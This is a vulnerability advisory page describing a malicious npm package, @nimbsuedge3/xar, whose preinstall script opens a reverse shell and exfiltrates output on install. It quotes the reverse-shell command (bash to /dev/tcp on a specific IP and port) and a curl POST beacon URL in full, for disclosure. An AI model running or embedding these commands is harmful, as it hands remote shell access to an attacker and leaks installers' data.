VDB
GCVE-110-OSM-2026-12429
GCVE-110-OSM-2026-12429
Advisory PublishedCVSS 8.8/10
package.json declares a preinstall lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through `curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` as an out-of-band exfiltration beacon. Both actions fire automatically on `npm install`, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.
ENTRY
- Preinstall Script in package.json: ""preinstall": "bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 0>&1 | curl -s -m ..."
DESTINATION
- 2 fetched-payload (ipv4, domains)
(values recorded in verified_iocs)
ADDITIONAL FINDINGS
- Brand New Package
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | @nimbsuedge3/xar | all (affected) | — |
Aliases
Browse GCVE Records
400 records in the GCVE database · Updated September 21, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.